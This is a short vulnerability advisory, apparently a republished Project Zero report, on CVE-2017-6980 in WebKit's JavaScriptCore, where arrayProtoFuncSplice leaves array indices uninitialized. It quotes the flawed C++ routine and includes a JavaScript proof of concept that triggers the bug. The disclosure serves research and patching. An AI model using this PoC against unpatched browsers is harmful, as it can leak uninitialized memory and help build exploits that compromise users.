WebKit JSC arrayProtoFuncSplice Initialization Fail

Posted on 16 June 2017

WebKit: JSC: arrayProtoFuncSplice doesn't initialize all indices. CVE-2017-6980 Here's a snippet of arrayProtoFuncSplice. EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { ... result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount); if (!result) return JSValue::encode(throwOutOfMemoryError(exec, scope)); for (unsigned k = 0; k < actualDeleteCount; ++k) { JSValue v = getProperty(exec, thisObj, k + actualStart); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (UNLIKELY(!v)) { continue; } result->initializeIndex(vm, k, v); } ... } |JSArray::tryCreateForInitializationPrivate| will return an uninitalized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|. PoC: function gc() { for (let i = 0; i < 0x10; i++) new ArrayBuffer(0x1000000); } Array.prototype.__defineGetter__(0x1000, () => 1); gc(); for (let i = 0; i < 0x100; i++) { new Array(0x100).fill(1234.5678); } gc(); print(new Array(0x100).splice(0)); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt
